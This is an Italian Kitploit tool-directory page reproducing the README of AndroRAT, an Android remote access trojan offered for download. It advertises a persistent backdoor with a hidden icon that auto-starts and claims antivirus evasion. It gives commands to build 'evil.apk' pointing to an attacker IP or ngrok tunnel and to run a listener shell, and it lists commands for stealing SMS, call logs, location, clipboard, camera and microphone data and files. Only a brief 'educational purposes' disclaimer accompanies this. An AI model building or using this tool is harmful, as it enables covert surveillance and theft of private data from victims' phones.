Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
AndroRAT — Uno strumento semplice di amministrazione remota per Android che utilizza socket. Usa Java sul lato client e Python sul lato server | Kitploit
Strumenti/GitHubGitHub/karma9874/androrat
Sicurezza AndroidGenerazione di PayloadMeccanismi di PersistenzaPentesting di App MobiliReverse EngineeringEsfiltrazione DatiPost-ExploitCommand and ControlRed TeamingTrojan di Accesso Remoto
GitHub
5.2k1.7k22 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
karma9874/androrat

AndroRAT

Uno strumento semplice di amministrazione remota per Android che utilizza socket. Usa Java sul lato client e Python sul lato server

Vedi Repository

Disclaimer: questo software è destinato esclusivamente a scopi educativi. Non sono responsabile per qualsiasi uso malevolo dell'app.

AndroRAT

MIT License Twitter Follow GitHub followers

AndroRAT è uno strumento progettato per fornire il controllo remoto del sistema Android e recuperare informazioni da esso. Androrat è un'applicazione client/server sviluppata in Java Android per il lato client, mentre il server è in Python.

AndroRAT funzionerà su dispositivi da Android 4.1 (Jelly Bean) ad Android 9.0 (Oreo) (API 16 fino ad API 28)

AndroRAT funziona anche su Android 10 (Q) ma alcuni comandi dell'interprete saranno instabili.

Screenshot

AndroRAT

Funzionalità di AndroRAT

  • Backdoor completamente persistente
  • Completamente non rilevabile da qualsiasi antivirus scanner VirusTotal
  • Icona invisibile all'installazione
  • Apk leggero che funziona 24*7 in background
  • L'app si avvia automaticamente al boot
  • Può registrare audio, video, scattare foto da entrambe le fotocamere
  • Consulta i registri delle chiamate e degli SMS
  • Ottieni la posizione attuale, i dettagli della scheda SIM, l'IP, l'indirizzo MAC del dispositivo

Prerequisiti

AndroRAT richiede Python3 e JAVA (o Android Studio)

Installazione

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

Nota:

Durante la clonazione del repository usando Git bash su Windows, potresti ricevere il seguente errore:

error: unable to create file <filename>: Filename too long

Questo accade perché Git ha un limite di 4096 caratteri per un nome di file, tranne su Windows quando Git è compilato con msys. Utilizza una versione più vecchia dell'API di Windows e c'è un limite di 260 caratteri per un nome di file.

Puoi aggirare questo problema impostando core.longpaths su true.

git config --system core.longpaths true

Devi eseguire Git bash con privilegi di amministratore.

Utilizzo (Windows e Linux)

  • Per ottenere il pannello di controllo dell'app componi *#*#1337#*#* (Per ora ha solo due opzioni Restart Activity e Uninstall)

Nota: Per utilizzare questa funzionalità su alcuni dispositivi è necessario abilitare l'opzione display pop-up windows running in background dalle impostazioni.

Modalità disponibili

  • --build - per compilare l'apk android
  • --ngrok - per utilizzare il tunnel ngrok (tramite internet)
  • --shell - per ottenere una shell interattiva del dispositivo

modalità build

Usage:
  python3 androRAT.py --build --ngrok [flags]
  Flags:
    -p, --port              Attacker port number (optional by default its set to 8000)
    -o, --output            Name for the apk file (optional by default its set to "karma.apk")
    -icon, --icon           Visible icon after installing apk (by default set to hidden)
Usage:
  python3 androRAT.py --build [flags]
  Flags:
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

Oppure puoi compilare manualmente l'apk importando la cartella Android Code in Android Studio e modificando l'indirizzo IP e il numero di porta nel file config.java, dopodiché puoi generare l'apk firmato da Android Studio -> Build -> Generate Signed APK(s)

Modalità shell

Usage:
  python3 androRAT.py --shell [flags]
  Flags:
    -i, --ip                Listner IP address
    -p, --port              Listner port number

Dopo aver eseguito la modalità shell otterrai un interprete del dispositivo

Comandi che possono essere eseguiti sull'interprete

    deviceInfo                 --> returns basic info of the device
    camList                    --> returns cameraID  
    takepic [cameraID]         --> Takes picture from camera
    startVideo [cameraID]      --> starts recording the video
    stopVideo                  --> stop recording the video and return the video file
    startAudio                 --> starts recording the audio
    stopAudio                  --> stop recording the audio
    getSMS [inbox|sent]        --> returns inbox sms or sent sms in a file 
    getCallLogs                --> returns call logs in a file
    shell                      --> starts a sh shell of the device
    vibrate [number_of_times]  --> vibrate the device number of time
    getLocation                --> return the current location of the device
    getIP                      --> returns the ip of the device
    getSimDetails              --> returns the details of all sim of the device
    clear                      --> clears the screen
    getClipData                --> return the current saved text from the clipboard
    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter

Nella shell sh ci sono alcuni sotto-comandi

    get [full_file_path]        --> donwloads the file to the local machine (file size upto 15mb)
    put [filename]              --> uploads the file to the android device

Esempi

  • Per compilare l'apk usando ngrok che imposterà anche il listener: python3 androRAT.py --build --ngrok -o evil.apk

  • To build the apk using desired ip and port: python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk

  • Per ottenere l'interprete: python3 androRAT.py --shell -i 0.0.0.0 -p 8000

Interpreter Examples

  • Generating APK

------------------------------------------------------------------------------------------------------------------------------
  • Some interpreter Commands

------------------------------------------------------------------------------------------------------------------------------

Supporters:

rayep

TODO

  • Ngrok support
  • Set up multi client
  • Add screenshot command

License

AndroRAT is licensed under MIT license take a look at the LICENSE for more information.

Scarica lo strumento